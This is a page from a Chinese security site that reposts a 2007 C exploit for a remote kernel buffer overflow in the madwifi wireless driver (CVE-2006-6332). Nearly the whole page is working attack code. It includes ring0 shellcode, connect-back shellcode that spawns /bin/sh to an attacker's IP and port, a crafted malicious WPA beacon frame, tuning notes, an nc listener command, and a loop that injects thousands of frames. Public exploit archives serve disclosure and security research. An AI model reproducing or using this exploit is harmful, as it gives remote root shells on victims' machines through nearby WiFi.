首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
madwifi <= 0.9.2.1 WPA/RSN IE Remote Kernel Buffer Overflow Exploit
来源:sgrakkyu antifork.org 作者:sgrakkyu 发布时间:2007-03-02  
/* ----  madwifi WPA/RSN IE remote kernel buffer overflow  ------
* expoit code by:   sgrakkyu <at> antifork.org -- 10/1/2007
*
* CVE: 2006-6332 (Laurent BUTTI, Jerome RAZNIEWSKI, Julien TINNES)
*
* (for wpa)
* ....
* memcpy(buf, se->se_wpa_ie, se->se_wpa_ie[1] + 2)
* ....
* ....
* the function re-uses args in the stack before returning so we
* can't trash them overwriting.
* Different compiled module [ex. different version of gcc] may require
* a different pad value.. (see -g option)
*
* ex:
* on one terminal runs: nc -l -p 31337
* phi:~/kexec/lorcon# gcc -g -o madwifi_exp madwifi_exp.c -lorcon
* phi:~/kexec/lorcon# wlanconfig ath1 create wlandev wifi0 wlanmode monitor
* phi:~/kexec/lorcon# ifconfig ath1 up
* phi:~/kexec/lorcon# ./madwifi_exp -i ath1 -d madwifing -a 10.0.0.1 -p 31337
* [opt-ip]: 10.0.0.1
* [opt-port]: 31337
* [opt-iface]: ath1
* [opt-driver]: madwifing
* [opt-jump]: 0xffffe777
* [pad]: 36
*
* [*][Low Avail Byte]: 103
* [*][High Avail Byte]: 47
* [*][u_code[] (high)size]: 91, [ring0_code[] (low)size]: 47
* [*][ patching jump ]: [eba7]
* [*][Payload space]: 192
* [*][beacon_frame-80211]=54
* [*][beacon_WPA_IE_lenght]: 198
*
* [printing frame - start]
*   80 00 00 00 ff ff ff ff ff ff cc cc cc cc cc cc
*   cc cc cc cc cc cc 00 00 00 00 00 00 00 00 00 00
*   64 00 01 00 00 03 41 41 41 01 08 82 84 8b 96 0c
*   18 30 48 03 01 0b dd c6 00 50 f2 01 01 00 90 90
*   90 90 90 90 90 90 90 90 90 90 31 c0 89 c3 40 40
*   ....
*   ....
*
*
* Tuning option:
* - depending on gcc version/optimization we have to change the padding of vector
*   payload, take a look to the following disassembly of the module wlan.o compiled
*   with gcc-4.0 (kernel compiled for i586):
*
*  00015a49 <giwscan_cb>:
*  15a49:       55                      push   %ebp
*  15a4a:       57                      push   %edi
*  15a4b:       56                      push   %esi
*  15a4c:       53                      push   %ebx
*  15a4d:       81 ec c4 00 00 00       sub    $0xbc,%esp <--16+188=[204]
*  .........
*  .........
*  .........
*  15fc3:       8d 54 24 12             lea    0xa(%esp),%edx <-esp+[10]
*  15fc7:       89 d7                   mov    %edx,%edi
*  ...
*  ...
*  15fd5:       f3 a5                   rep movsl %ds:(%esi),%es:(%edi)
*    
*
* this is not a rule, check gcc generated code to calculate correct pad value :
* [startbuf-ret] = (16 + 188 - 10) = 194 byte
* PAD = 194 - SHELLCODE_SPACE - IEWPAheader(code,len,oui) = 194 - 150 - 8 = 36
* ( -g 36 would be the choice in that case)
*  
*   NOTE: 1) the remote box must call the ioctl() SIOCGIWSCAN
*            for ex. when the iface gets up or during iwlist iface scanning
*            command
*
*         2) if you need more space for kernel mode code you can rely on
*             struct ieee80211_scan_entry paramter of gwiscan_cb()
*             function to access the real frame (a trivial joke)
*
*         3) i had no time to test this exploit on other boxes..:
*            tested only on:  Slackware 10 -  madwifi 0.9.2
*                             Kubuntu - kernel 2.6.17 - madwifi 0.9.2
*
*
*  TNX TNX TNX  twiz <at> antifork.org
*/


#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <getopt.h>
#include <netinet/in.h>
#include <sys/socket.h>

#include <tx80211.h>
#include <tx80211_packet.h>
#include <linux/wireless.h>
#include <arpa/inet.h>


/* 2.6.17 VSYSCALL: for >= 2.6.18 without fixed-vsyscall entry use kernel hardcoded value */
#define VSYSCALL_JMP_ESP_OFFSET   0xffffe777
#define IE_ZERO 0x00000000

#define FIX_BYTE(base,offset,byte)   *(((unsigned char*)base) + offset) = byte;
#define FIX_WORD(base,offset,word)   *((unsigned short *)((unsigned char*)base + offset)) = word;
#define FIX_DWORD(base,offset,dword) *((unsigned int *)((unsigned char*)base + offset)) = dword;

/* shellcode max buffer */
/* 8 bytes used for lenght + oui */
#define SHELLCODE_SPACE  150 
#define PAD_SPACE        36

#define PAYLOAD_SPACE    (SHELLCODE_SPACE + pad_space + 4 + 2)
#define TOTAL_PACKET_LEN (sizeof(beacon_80211_wpa) -1 + PAYLOAD_SPACE)

/* exp option */
char *iface = NULL;  /* needed */
char *driver = NULL; /* needed */
char *ip = NULL;     /* needed */
short port = 0;      /* needed */
unsigned int jmp_address = VSYSCALL_JMP_ESP_OFFSET;
unsigned int pad_space = PAD_SPACE;



/* ----------------------------------- */

#define SUB_OFFSET_PATCH 8
char ring0_code[]=
"\xe8\x00\x00\x00\x00"      //call   8048359 <main+0x21>
"\x5e"                      //pop    %esi
"\x81\xee\x88\x00\x00\x00"  //sub    $0x88,%esi  /* PATCH */
"\x31\xc0"                  //xor    %eax,%eax
"\xb0\x04"                  //mov    $0x4,%al
"\x01\xc4"                  //add    %eax,%esp
"\x83\x3c\x24\x73"          //cmp    $0x73,%esp
"\x75\xf8"                  //jne    8048364 <main+0x2c>
"\x83\x7c\x24\x0c\x7b"      //cmpl   $0x7b,0xc(%esp)
"\x75\xf1"                  //jne    8048364 <main+0x2c>
"\x29\xc4"                  //sub    %eax,%esp
"\x8b\x7c\x24\x0c"          //mov    0xc(%esp),%edi
"\x89\x3c\x24"              //mov    %edi,(%esp)
"\x31\xc9"                  //xor    %ecx,%ecx
"\xb1\x5b"                  //mov    $0x5b,%cl /* FIX */
"\xf3\xa4"                  //rep movsb %ds:(%esi),%es:(%edi)
"\xcf";                     //iret


/* connect back */
#define IP_OFFSET   35
#define PORT_OFFSET 44
char u_code[] =
"\x31\xc0\x89\xc3\x40\x40\xcd\x80\x39\xc3\x74\x03\x31\xc0\x40\xcd\x80" /* fork */
"\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x5b\x5d"             
"\xbe"
"\xf5\xff\xff\xfe"  // ~ip
"\xf7\xd6\x56\x66\xbd"
"\x69\x7a"          // port
"\x0f\xcd\x09\xdd\x55\x43\x6a\x10\x51\x50\xb0\x66\x89\xe1\xcd\x80\x87\xd9"  
"\x5b\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68" 
"\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\xdf";        


/* 802.11header + WPA IE prolog */
#define WPA_LEN_OFFSET 55
#define CHANNEL     11
char beacon_80211_wpa[] =
"\x80"              // management frame / subtype beacon
"\x00"              // flags
"\x00\x00"          // duration
"\xFF\xFF\xFF\xFF\xFF\xFF"  // destination addr
"\xCC\xCC\xCC\xCC\xCC\xCC"  // src address
"\xCC\xCC\xCC\xCC\xCC\xCC"  // bbsid
"\x00\x00"          // seq
"\x00\x00\x00\x00\x00\x00\x00\x00" // timestamp
"\x64\x00"          // interval
"\x01\x00"          // caps
"\x00\x03\x41\x41\x41"  // ssid Information Element
"\x01\x08\x82\x84\x8b\x96\x0c\x18\x30\x48" // rates Information Element
"\x03\x01\x0B"     // channel Information Element (11)
"\xdd\xc6"         // WPA Information Element (priv ID + len) (0xc6 = 0xc0 + 6) /* PATCH */
"\x00\x50\xf2\x01\x01\x00";     // oui + type + version (first 6 byte of len)

#define JUMP_OFFSET_PATCH 1
char jmp_back[]="\xeb\x00";

/* ----------------------------------- */


void usage(char *prog)
{
  printf("[usage]: %s (-i iface) (-d drivername) (-a ip) (-p port) [-g pad] [-j jump_address]\n", prog);
}

unsigned char *build_frame()
{
  int i,j;
  char *frame = malloc(TOTAL_PACKET_LEN);
  char *ptr = frame;
 
  unsigned int hsb = sizeof(ring0_code)-1;
  unsigned int lsb =  SHELLCODE_SPACE - hsb;
  printf("[*][low-kcode]: %d\n[*][high-ucode]: %d\n",
         lsb, hsb);
 
  printf("[*][u_code[] (high)size]: %d, [ring0_code[] (low)size]: %d\n",
         sizeof(u_code)-1, sizeof(ring0_code)-1);

  /* fix jump */
  int b = -4 - pad_space - (sizeof(jmp_back)-1) - (sizeof(ring0_code)-1);
  FIX_BYTE(jmp_back, JUMP_OFFSET_PATCH, b);

  /* fix ring0_code/u_code displacement */
  unsigned int sub = 5 + (sizeof(u_code)-1);
  FIX_BYTE(ring0_code, SUB_OFFSET_PATCH, sub);

  printf("[*][payload space]: %d\n", PAYLOAD_SPACE);

  /* fix beacon_80211_wpa: WPA len */
  FIX_BYTE(beacon_80211_wpa, WPA_LEN_OFFSET, PAYLOAD_SPACE + 6);
  printf("[*][beacon_WPA_IE_lenght]: %u\n",
                  (unsigned char)beacon_80211_wpa[WPA_LEN_OFFSET]);

  /* fill frame */
  memset(frame, 0x00, TOTAL_PACKET_LEN);

  memcpy(ptr, beacon_80211_wpa, sizeof(beacon_80211_wpa)-1);
  ptr += (sizeof(beacon_80211_wpa)-1);

  memset(ptr, 0x90, lsb - (sizeof(u_code)-1));
  ptr += (lsb - (sizeof(u_code)-1));
 
  memcpy(ptr, u_code, sizeof(u_code) -1);
  ptr += (sizeof(u_code) -1);

  memcpy(ptr, ring0_code, sizeof(ring0_code)-1);
  ptr += sizeof(ring0_code)-1;
 
  for(i=0; i<pad_space; i+=4)
    *((unsigned int *)(ptr + i)) = (IE_ZERO+(i/4));

  ptr += pad_space;

  *((unsigned int *)(ptr)) = jmp_address;
  ptr += 4;

  memcpy(ptr, jmp_back, sizeof(jmp_back)-1);
  ptr += sizeof(jmp_back)-1;

  return (unsigned char*)frame;
}

void print_frame(unsigned char *frame, unsigned int size)
{
  int i;
  printf("\n[printing frame - start]\n  ");
  for(i=1; i<=size; i++)
  {
    printf("%02x ", frame[i-1]);
    if((i % 16) == 0)
      printf("\n  ");
  }
  printf("\n[printing frame - end]\n");
}

void parse_arg(int argc, char **argv)
{
  int opt;
  struct in_addr in;
  while( (opt=getopt(argc, argv, "j:i:a:p:d:g:")) != EOF)
  {
    switch(opt)
    {
      case 'j':
        jmp_address = strtoll(optarg, NULL, 16);
        break;
      case 'a':
        ip = strdup(optarg);
        inet_aton(ip, &in);
        FIX_DWORD(u_code, IP_OFFSET, ~(in.s_addr));   
        break;
      case 'p':
        port = atoi(optarg);
        FIX_WORD(u_code, PORT_OFFSET, port);
        break;
      case 'd':
        driver = strdup(optarg);
        break;
      case 'i':
        iface = strdup(optarg);
        break;
      case 'g':
        pad_space = atoi(optarg);
        break;
      default:
        usage(argv[0]);
        exit(1);
    }
  }
}


int main(int argc, char *argv[])
{
  int i=0;
  struct tx80211 in_tx;
  struct tx80211_packet in_packet;
  int drivertype;
 
  parse_arg(argc, argv);               

  if(!iface || !driver || !ip || !port)
  {
    usage(argv[0]);
    exit(1);
  }

  printf( "\n\nMadwifi 0.9.2 WPA/RSN IE buffer overflow\n\t exploit code: sgrakkyu <at> antifork.org\n"
          "-------------------- **** ------------------\n"
          "[opt-ip]: %s\n[opt-port]: %d\n[opt-iface]: %s\n[opt-driver]: %s\n[opt-jump]: 0x%08x\n[pad]: %d\n"
          "-------------------- **** ------------------\n\n",
          ip, port, iface, driver, jmp_address, pad_space);

  unsigned char *frame = build_frame();
  print_frame(frame, TOTAL_PACKET_LEN);

  /* Use the command-line argument as the desired driver type */
  drivertype = tx80211_resolvecard(driver);

  /* Validate the driver name specified */
  if (drivertype == INJ_NODRIVER)
  {
    fprintf(stderr, "Driver name not recognized.\n");
    return -1;
  }

  if (tx80211_init(&in_tx, iface, drivertype) < 0) {
    fprintf(stderr, "Error initializing drive \"%s\".\n", argv[1]);
    return -1;
  }

  if ((tx80211_getcapabilities(&in_tx) & TX80211_CAP_CTRL) == 0)
  {
    fprintf(stderr, "Driver does not support transmitting control frames.\n");
    return -1;
  }

  if (tx80211_setchannel(&in_tx, CHANNEL) < 0)
  {
    fprintf(stderr, "Error setting channel.\n");
    return 1;
  }

  if (tx80211_open(&in_tx) < 0)
  {
    fprintf(stderr, "Unable to open interface %s.\n", in_tx.ifname);
    return 1;
  }

  /* Initialized in_packet with packet contents and length of the packet */
  in_packet.packet = frame;
  in_packet.plen = TOTAL_PACKET_LEN;

  printf("[sending packets]: about 10 a second\n");

  while(i < 10000)
  {
    /* Transmit the packet */
    if (tx80211_txpacket(&in_tx, &in_packet) < 0)
    {
      fprintf(stderr, "Unable to transmit packet.\n");
      perror("txpacket");
      return 1;
    }
    i++;
    usleep(100000);
  }
  /* Close the socket after transmitting the packet */
  tx80211_close(&in_tx);

  return 0;
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·3Com TFTP Service <= 2.0.1 (Lo
·Snort 2.6.1 DCE/RPC Preprocess
·vBulletin <= 3.6.4 (inlinemod.
·DivX Web Player 1.3.0 (npdivx3
·McAfee VirusScan for Mac (Vire
·phpMyFAQ <= 1.6.7 Remote SQL I
·XM Easy Personal FTP Server 5.
·PHP 4 Userland ZVAL Reference
·Debian Apache 1.3.33/1.3.34 (C
·WebMod 0.48 (Content-Length) R
·Plan 9 Kernel (devenv.c OTRUNC
·Asterisk <= 1.2.15 / 1.4.0 pre
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved